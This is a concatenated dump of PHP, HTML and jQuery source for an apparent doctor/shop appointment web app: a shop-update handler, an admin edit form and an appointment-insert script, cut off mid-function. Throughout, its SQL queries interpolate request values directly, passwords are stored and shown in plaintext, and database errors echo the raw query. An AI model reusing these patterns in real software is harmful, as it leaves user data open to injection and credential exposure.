$open_hours=stripslashes(htmlspecialchars(trim($_POST['open_hours'])));
$open_hours_second_line=stripslashes(htmlspecialchars(trim($_POST['open_hours_second_line'])));
$doctor_id=stripslashes(htmlspecialchars(trim($_POST['doctor_id'])));
$account_type="";
if(isset($_POST['account_type'])){
$account_type=stripslashes(htmlspecialchars(trim($_POST['account_type'])));
}
$sms=stripslashes(htmlspecialchars(trim($_POST['sms'])));
//form related validations
if(empty($username)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","username",$validation_msg);
throw new Exception($final_message);
}
if(empty($password)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","password",$validation_msg);
throw new Exception($final_message);
}
if(empty($city)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","city",$validation_msg);
throw new Exception($final_message);
}
if(empty($address)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","address",$validation_msg);
throw new Exception($final_message);
}
if(empty($shop_name)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","shop_name",$validation_msg);
throw new Exception($final_message);
}
//checking if field value length is grater than db supported
if(strlen($username)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","username",$validation);
throw new Exception($final_message);
}
if(strlen($password)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","password",$validation);
throw new Exception($final_message);
}
if(strlen($shop_name)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","shop_name",$validation);
throw new Exception($final_message);
}
if(strlen($shop_name_2)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","shop_name_2",$validation);
throw new Exception($final_message);
}
if(strlen($address)>1000){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","address",$validation);
throw new Exception($final_message);
}
if(strlen($city)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","city",$validation);
throw new Exception($final_message);
}
if(strlen($phone)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","phone",$validation);
throw new Exception($final_message);
}
if(strlen($webpage)>200){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","webpage",$validation);
throw new Exception($final_message);
}
if(strlen($facebook_page)>200){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","facebook page",$validation);
throw new Exception($final_message);
}
if(strlen($open_hours)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","open hours",$validation);
throw new Exception($final_message);
}
if(strlen($open_hours_second_line)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","open hours second line",$validation);
throw new Exception($final_message);
}
if(strlen($account_type)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","account type",$validation);
throw new Exception($final_message);
}
//checking supplied value in sms field is neumeric
if(!empty($sms) && !preg_match('/^[0-9]+$/',$sms)){
$validation=NEUMERIC_VALUE_EXPECTED;
$final_message=str_replace("{1}","sms",$validation);
throw new Exception($final_message);
}
//checking webpage value entered is valid or not
if (!empty($webpage) && !preg_match("/(?:http|https)?(?:\:\/\/)?(?:www.)?(([A-Za-z0-9-]+\.)*[A-Za-z0-9-]+\.[A-Za-z]+)(?:\/.*)?/im",$webpage)) {
throw new Exception(WEB_URL_NOTVALID);
}
//checking facebook url entered is valid or not
if(!empty($facebook_page) && !preg_match("/^(https?:\/\/)?(www\.)?facebook.com\/[a-zA-Z0-9(\.\?)?]/", $facebook_page)) {
throw new Exception(FB_URL_NOTVALID);
}
//checking if phone no entered is valid or not
if(!empty($phone)
&& !preg_match('/^[+0-9]+$/',$phone)){
throw new Exception(PHONE_SUPPLIED_NOT_VALID);
}
//file related validations
$filename=$_FILES["shop_photo"]["name"];
if(!empty($filename)){
$imageFileType = pathinfo($filename,PATHINFO_EXTENSION);
$checkimage = getimagesize($_FILES["shop_photo"]["tmp_name"]);
$allowedtypes=array(IMG_GIF,IMG_JPEG,IMG_PNG);
//echo var_dump($checkimage);
if(!in_array($checkimage[2],$allowedtypes)){
throw new Exception(NOT_SUPPORTED_FILE_TYPE);
}
if($imageFileType != "gif" && $imageFileType != "jpg" && $imageFileType != "jpeg" && $imageFileType != "png"){
throw new Exception(NOT_SUPPORTED_FILE_TYPE);
}
if($_FILES["shop_photo"]["size"]>500000) {
throw new Exception(NOT_PERMITTED_FILE_SIZE);
}
}
//checking if username is already present
$checkuser=isUserAlreadyRegistered($username,DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME,$shop_login_id);
//echo $checkuser;
if($checkuser){
throw new Exception(USERNAME_ALREADY_PRESENT);
} else{
//insert user data and upload file in server.
$targetfile="";
if(!empty($filename)){
$uploadfolderbasefilename="{$_SERVER['DOCUMENT_ROOT']}/shopapp/upload/$username/";
if(!file_exists($uploadfolderbasefilename)){
mkdir($uploadfolderbasefilename);
}
$targetfile=$uploadfolderbasefilename.basename($_FILES["shop_photo"]["name"]);
if(file_exists($targetfile)) {
throw new Exception(FILE_EXISTS);
}
$checkupload=move_uploaded_file($_FILES["shop_photo"]["tmp_name"], $targetfile);
if(!$checkupload){
throw new Exception(UPLOAD_FAIL);
}
}
update_login_details( $username,$password , DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME,$shop_login_id );
updateShopData($username,$password,$shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$sms,$targetfile,$shop_id);
echo json_encode(['OPERATION'=>0,'IMAGE_URL'=>$targetfile,'VALIDATION_ERROR'=>'NA']);
}
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'IMAGE_URL'=>'NA','VALIDATION_ERROR'=>$e->getMessage()]);
}
function update_login_details( $username,$password,$DATABASE_SERVER,$DATABASE_USERNAME,$DATABASE_PASSWORD,$DATABASE_NAME,$shop_login_id ){
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update Login set login_username = '$username' , login_password = <PASSWORD>' where login_id='$shop_login_id' ";
$result=mysqli_query($conn,$sql);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function isUserAlreadyRegistered($username,$servername,$db_username,$db_password,$db,$shop_login_id){
try{
$isuserpresent=false;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select login_id from $dbname.Login x where x.Login_Username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
if($row['login_id'] != $shop_login_id ){
$isuserpresent=true;
}
}
mysqli_close($conn);
return $isuserpresent;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateShopData($username,$password,$shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$sms,$image_url,$shop_id){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
updateShopDetails($shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$image_url,$conn,$dbname,$shop_id) ;
updateIntoSMSTable($shop_id,$sms,$conn,$dbname);
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateShopDetails($shop_name,$shop_name_2,$address,$city,$phone,$webpage,$facebook_page,
$open_hours,$open_hours_second_line,$account_type,$image_url,$conn,$dbname,$shop_id){
try{
$sql = "update Shop_Details set Shop_Name1 = '$shop_name' ,Shop_Name2 = '$shop_name_2' , Shop_Address = '$address' , Shop_City = '$city' ,
Shop_Phone1 = '$phone' , Shop_Open_Hrs = '$open_hours' , Shop_Open_Dt = '$open_hours_second_line'
,Shop_Web_Page = '$webpage' , Shop_FB_Page = '$facebook_page' , Shop_Type = '$account_type' , Shop_img_url = '$image_url' where shop_id = $shop_id ";
$result = mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
}catch(Exception $e){
throw $e;
}
}
function updateIntoSMSTable($shopId,$sms,$conn,$dbname){
try{
if(empty($sms)) {
$sms=0;
}
$sql="update SMS_Table set SMS_Limit = $sms where shop_id = $shopId ";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
} catch(Exception $e){
throw $e;
}
}
?><file_sep>/pages/update-shop.php
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
try{
$doctorid=$_SESSION['doctorid'];
$shop_id = stripslashes(htmlspecialchars(trim($_GET['shop_id'])));
if(empty($doctorid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<!-- Bootstrap Core CSS -->
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- Bootstrap datetimepicker CSS -->
<link href="../vendor/bootstrap/css/bootstrap-datetimepicker.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row">
<div class="container-fluid">
<div class="row">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 col-xs-offset-1">
<h4 style="margin-top:20px;">Admin Mode</h4>
</div>
<div class="col-lg-3 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="configure-shop.php">Create a new user</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="shop-details.php">Manage Users</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 pull-right">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:30px;">
<form role="form" class="form-horizontal" id="data" method="post" enctype="multipart/form-data">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="col-lg-7 col-md-7 col-sm-7 col-xs-7 nopadding">
<div class="form-group" id="usernamegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Username*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input id="user_name" type="text" name="username" placeholder="input value" class="form-control"></div>
</div>
<div class="form-group" id="passwordgroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Password*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input id="password" type="<PASSWORD>" name="password" placeholder="input-value" class="form-control">
</div>
</div>
<div class="form-group" id="shopnamegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Name of the shop*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="shop_name" name="shop_name" placeholder="input value" class="form-control">
</div>
</div>
<div class="form-group"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Secondo line name</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="shop_name_2" name="shop_name_2" placeholder="input-value" class="form-control">
</div>
</div>
<div class="form-group" id="addressgroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Adress of the shop*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="address" name="address" placeholder="input value" class="form-control">
</div>
</div>
<div class="form-group" id="citygroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">City*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="city" class="form-control" placeholder="input value" name="city"></div>
</div>
<div class="form-group" id="phonegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Phone</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="phone" class="form-control" placeholder="input value" name="phone"></div>
</div>
<div class="form-group" id="webpagegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Web Page</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="webpage" class="form-control" placeholder="input value" name="webpage"></div>
</div>
<div class="form-group" id="fbpagegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Facebook Page</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="fbPage" placeholder="input value" name="facebook_page" class="form-control" ></div>
</div>
<div class="form-group"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Open hours</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="open_hours" placeholder="input value" name="open_hours" class="form-control" ></div>
</div>
<div class="form-group"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Second line detail</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" id="open_hours_second_line" placeholder="input value" name="open_hours_second_line" class="form-control" ></div>
</div>
</div>
<div class="col-lg-4 col-md-4 col-xs-4 col-sm-4" style="margin-left:20px;">
<div class="form-group">
<label>Uploaded image</label>
</div>
<img alt="image" id="shop_image" style="width:150px;" src="../image/default_profile.png" >
<div class="form-group">
<label>Add image</label>
</div>
<div class="form-group">
<input type="file" name="shop_photo">
</div>
<div class="radio">
<label>
<input type="radio" name="account_type" id="account_type1" value="Standard Account"/>Standard Account
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="account_type" id="account_type2" value="Premium Account"/>Premium Account
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="account_type" checked="checked" id="account_type3" value="Free Forever"/>Free Forever
</label>
</div>
<div class="form-group" id="smsgroup" style="margin-top:10px;">
<label class="control-label pull-left">SMS</label>
<div class="col-sm-6">
<input type="text" placeholder="input value" id="sms_count" name="sms" class="form-control" >
</div>
</div>
<div class="form-group">
<div class="col-sm-4">
<button type="submit" class="btn btn-primary">Update</button>
</div>
</div>
<input type="hidden" placeholder="input value" name="doctor_id" id="doctor_id" class="form-control" value="<?php echo $doctorid ?>">
<input type="hidden" placeholder="input value" name="shop_id" id="shop_id" class="form-control" value="<?php echo $shop_id ?>">
<input type="hidden" placeholder="input value" name="shop_login_id" id="shop_login_id" class="form-control" >
</div>
</div>
</form>
</div>
<!-- /.container-fluid -->
</div>
<!-- /.row -->
</div>
<!-- /#page-wrapper -->
</div>
</div>
<!-- /#wrapper -->
<div class="modal modal-lg modal-md modal-sm modal-xs" id="messagemodal" role="dialog" style="margin-top:200px;margin-left:200px;">
<div class="modal-dialog">
<div class="modal-content" style="background-color:gainsboro">
<div class="modal-body" >
<div id="success">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div id="error">
</div>
</div>
<button type="button" id="dismiss_error" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
</div>
</div>
</div>
<!-- jQuery -->
<script src="../vendor/jquery/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<!-- Custom Theme JavaScript -->
<script src="../dist/js/sb-admin-2.js"></script>
<script>
$(document).ready(function(){
load_shop_details();
});
function load_shop_details(){
var shop_id = $('#shop_id').val();
var formData = new FormData($(this)[0]);
formData.append( 'shop_id' , shop_id );
$.ajax({
url: '../php/load_shop_detail_by_id.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
var details = JSON.parse(data);
var shopDetails = details.SEARCH_RESULT;
var user_name = shopDetails['username'];
var password = shopDetails['<PASSWORD>'];
var shop_name = shopDetails['shop_name'];
var shop_description = shopDetails['shop_description'];
var shop_address = shopDetails['shop_address'];
var shop_city = shopDetails['shop_city'];
var shop_phone = shopDetails['shop_phone'];
var shop_web = shopDetails['shop_web'];
var fb_page = shopDetails['fb_page'];
var open_hrs = shopDetails['open_hrs'];
var image_url = shopDetails['image_url'];
var sms_remaining = shopDetails['sms_remaining'];
var account_type = shopDetails['account_type'];
var image_url = shopDetails['image_url'];
var description = shopDetails['description'];
var default_description = shopDetails['default_description'];
var open_date = shopDetails['open_date'];
var shop_login_id = shopDetails['shop_login_id'];
$('#user_name').val( user_name );
$('#password').val( <PASSWORD> );
$('#shop_name').val( shop_name );
$('#shop_name_2').val( shop_description );
$('#address').val( shop_address );
$('#city').val( shop_city );
$('#phone').val( shop_phone );
$('#webpage').val( shop_web );
$('#fbPage').val( fb_page );
$('#open_hours').val( open_hrs );
$('#sms_count').val( sms_remaining );
$('#shop_image').attr( 'src' ,image_url );
$('#open_hours_second_line').val( open_date );
$('#shop_login_id').val( shop_login_id );
var start_index = image_url.indexOf('upload');
var end_index = image_url.length;
var relativeUrl = image_url.substring(start_index,end_index);
if(relativeUrl===''){
$("#shop_image").attr("src","../"+"image/default_profile.png");
}else{
$("#shop_image").attr("src","../"+relativeUrl);
}
if( account_type == 'Premium Account' ){
$('#account_type2').attr( 'checked' , true);
}
else if( account_type == 'Standard Account' ){
$('#account_type1').attr( 'checked' , true);
}
else if( account_type == 'Free Forever' ){
$('#account_type3').attr( 'checked' , true);
}
},
cache: false,
contentType: false,
processData: false
});
}
$("form#data").submit(function(){
var isRequiredFieldBlank=false;
if($("input[name='username']").val()==""){
$("#usernamegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#usernamegroup").hasClass("has-error")){
$("#usernamegroup").removeClass("has-error")
}
}
if($("input[name='password']").val()==""){
$("#passwordgroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#passwordgroup").hasClass("has-error")){
$("#passwordgroup").removeClass("has-error")
}
}
if($("input[name='shop_name']").val()==""){
$("#shopnamegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#shopnamegroup").hasClass("has-error")){
$("#shopnamegroup").removeClass("has-error")
}
}
if($("input[name='address']").val()==""){
$("#addressgroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#addressgroup").hasClass("has-error")){
$("#addressgroup").removeClass("has-error")
}
}
if($("input[name='city']").val()==""){
$("#citygroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#citygroup").hasClass("has-error")){
$("#citygroup").removeClass("has-error")
}
}
console.log( $('input[name=account_type]:checked').val());
if(!isRequiredFieldBlank){
if( $("#phonegroup").hasClass("has-error")){
$("#phonegroup").removeClass("has-error");
}
if( $("#webpagegroup").hasClass("has-error")){
$("#webpagegroup").removeClass("has-error");
}
if( $("#fbpagegroup").hasClass("has-error")){
$("#fbpagegroup").removeClass("has-error");
}
if( $("#smsgroup").hasClass("has-error")){
$("#smsgroup").removeClass("has-error");
}
var formData = new FormData($(this)[0]);
$.ajax({
url: '../php/update-shop.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
console.log(data) ;
var finaldata=JSON.parse(data);
console.log("operation value is"+finaldata.OPERATION) ;
if(finaldata.OPERATION==0){
console.log("Inside if") ;
var image_src=finaldata.IMAGE_URL;
var start_index=image_src.indexOf('upload');
var end_index=image_src.length;
var relativeUrl=image_src.substring(start_index,end_index);
console.log(relativeUrl);
if(relativeUrl===''){
$("#shop_image").attr("src","../"+"image/default_profile.png");
}else{
$("#shop_image").attr("src","../"+relativeUrl);
}
$(".modal-body #error").hide();
$(".modal-body #success").show();
$("#messagemodal").modal();
}else{
console.log("Inside else") ;
error_code="";
var finaldata=JSON.parse(data);
var error_code=finaldata.VALIDATION_ERROR;
if(error_code=="Supplied phone no not valid"){
$("#phonegroup").addClass("has-error");
}
if(error_code=="Supplied web url not valid"){
$("#webpagegroup").addClass("has-error");
}
if(error_code=="Supplied facebook web url not valid"){
$("#fbpagegroup").addClass("has-error");
}
if(error_code=="Field value sms supplied is not neumeric, only neumeric value expected"){
$("#smsgroup").addClass("has-error");
}
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}
},
cache: false,
contentType: false,
processData: false
});
}
else{
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+'Please fill in the required field marked in red'+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}
return false;
});
</script>
</body>
</html>
<file_sep>/php/insert-appointment.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$name=stripslashes(htmlspecialchars(trim($_POST['appointment_hidden_name'])));
$surname=stripslashes(htmlspecialchars(trim($_POST['appointment_hidden_surname'])));
$telephone=stripslashes(htmlspecialchars(trim($_POST['appointment_telephone'])));
$email=stripslashes(htmlspecialchars(trim($_POST['appointment_email'])));
$userid=stripslashes(htmlspecialchars(trim($_POST['appointment_userid'])));
$shopid=$_SESSION['shopid'];
$tipo_attivita=stripslashes(htmlspecialchars(trim($_POST['tipo_attivita'])));
$seconda_attivita=stripslashes(htmlspecialchars(trim($_POST['seconda_attivita'])));
$appointment_end_date=stripslashes(htmlspecialchars(trim($_POST['appointment_end_date'])));
$ora1=stripslashes(htmlspecialchars(trim($_POST['ora1'])));
$ora2=stripslashes(htmlspecialchars(trim($_POST['ora2'])));
$sms_service=stripslashes(htmlspecialchars(trim($_POST['sms_service'])));
if($sms_service=='true'){
$sms_service='Y';
}else{
$sms_service='N';
}
//Checking if supplied userid matches with name,surname,telephone and email
//$userid_tocheck=checkIfUserIdMatchesWithSuppliedDetails($name,$surname,$telephone,$email);
//if($userid!=$userid_tocheck){
// $userid=trim('');
//}
//FOR APP USER
if(!empty($userid)){
$isUserAssociatedWithTheShop=checkIfUserDataIsAlreadyAssociated($shopid,$userid);
if(!$isUserAssociatedWithTheShop){
linkUserWithShop($userid,$shopid);
}
}
//For SMS_USER
if(empty($userid)){
$isSMSUserIsAlreadyAssociatedWithTheShop=checkIfSMSUserIsAlreadyAssociatedWithTheShop($name,$surname,$telephone,$email,$shopid);
if(!$isSMSUserIsAlreadyAssociatedWithTheShop){
$loginId=insertSMSUser($name,$surname,$telephone,$email,$shopid);
$userid=insertSMSUserDetails($name,$surname,$telephone,$email,$shopid,$loginId);
linkUserWithShop($userid,$shopid);
}else{
$userid=getUserIdForExistingSmsUser($name,$surname,$telephone,$email,$shopid);
}
}
$appointmentId=insertClientAppointmentDetails($shopid,$userid,$tipo_attivita,$seconda_attivita,$appointment_end_date,$ora1,$ora2,$sms_service);
echo json_encode(['OPERATION'=>0,'USER_ID'=>$userid,'APPOINTMENT_ID'=>$appointmentId,'VALIDATION_ERROR'=>'NA']);
} catch(Exception $e){
echo json_encode(['OPERATION'=>1,'USER_ID'=>'NA','APPOINTMENT_ID'=>'NA','VALIDATION_ERROR'=>$e->getMessage()]);
}
function checkIfUserIdMatchesWithSuppliedDetails($name,$surname,$telephone,$email){
try{
$userid=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x.user_id user_id from $dbname.User_Details x where x.user_first_name='$name' and x.user_last_name='$surname' and x.user_login_mobile_no='$telephone' and x.user_email_id1='$email'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_id=$row['user_id'];
}
mysqli_close($conn);
return $userid;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function getUserIdForExistingSmsUser($name,$surname,$telephone,$email,$shopid){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x.user_id user_id from $dbname.User_Details x,$dbname.User_Shop_Map x1 where x.user_id=x1.user_id and x.user_first_name='$name' and x.user_last_name='$surname' and x.user_login_mobile_no='$telephone' and x.user_email_id1='$email' and x1.shop_id=$shopid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_id=$row['user_id'];
}
mysqli_close($conn);
return $user_id;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertClientAppointmentDetails($shopid,$userid,$tipo_attivita,$seconda_attivita,$appointment_end_date,$ora1,$ora2,$sms_service){
try{
$appointmentId=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.Client_Shop_Apnt (user_id,shop_id,user_apnt_dt,user_apnt_time,user_apnt_status,is_sms_active,first_line_activity,second_line_activity) values($userid,$shopid,STR_TO_DATE('$appointment_end_date','%Y-%m-%d'),STR_TO_DATE('$ora1:$ora2','%T:%i'),'BOOKED','$sms_service','$tipo_attivita','$seconda_attivita')";
$result=mysqli_query($conn,$sql);
if($result){
$appointmentId=mysqli_insert_id($conn);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
return $appointmentId;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function checkIfSMSUserIsAlreadyAssociatedWithTheShop($name,$surname,$telephone,$email,$shopid){
try{
$isUserAssociated=FALSE;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) user_count from $dbname.User_Details x,$dbname.User_Shop_Map x1 where x.user_id=x1.user_id and x.user_first_name='$name' and x.user_last_name='$surname' and x.user_login_mobile_no='$telephone' and x.user_email_id1='$email' and x1.shop_id=$shopid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_count=$row['user_count'];
if($user_count==1){
$isUserAssociated=TRUE;
}
}
mysqli_close($conn);
return $isUserAssociated;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertSMSUser($name,$surname,$telephone,$email,$shopid){
try{
$loginId=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.Login (login_username,login_password,login_mobile_no,login_type,client_login_type) value('$telephone','$telephone','NA','NA','SMS_USER')";
$result=mysqli_query($conn,$sql);
if($result){
$loginId=mysqli_insert_id($conn);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
return $loginId;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertSMSUserDetails($name,$surname,$telephone,$email,$shopid,$loginId){
try{
$userid=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.User_Details (user_login_id,user_first_name,user_last_name,user_qr_code,user_login_mobile_no,user_alt_contact2,user_email_id1,User_Status) value($loginId,'$name','$surname','NA','$telephone','NA','$email','NA')";
$result=mysqli_query($conn,$sql);
if($result){
$userid=mysqli_insert_id($conn);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
return $userid;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function checkIfUserDataIsAlreadyAssociated($shopid,$userid){
try{
$isUserAssociated=FALSE;
$dbname=DATABASE_NAME;
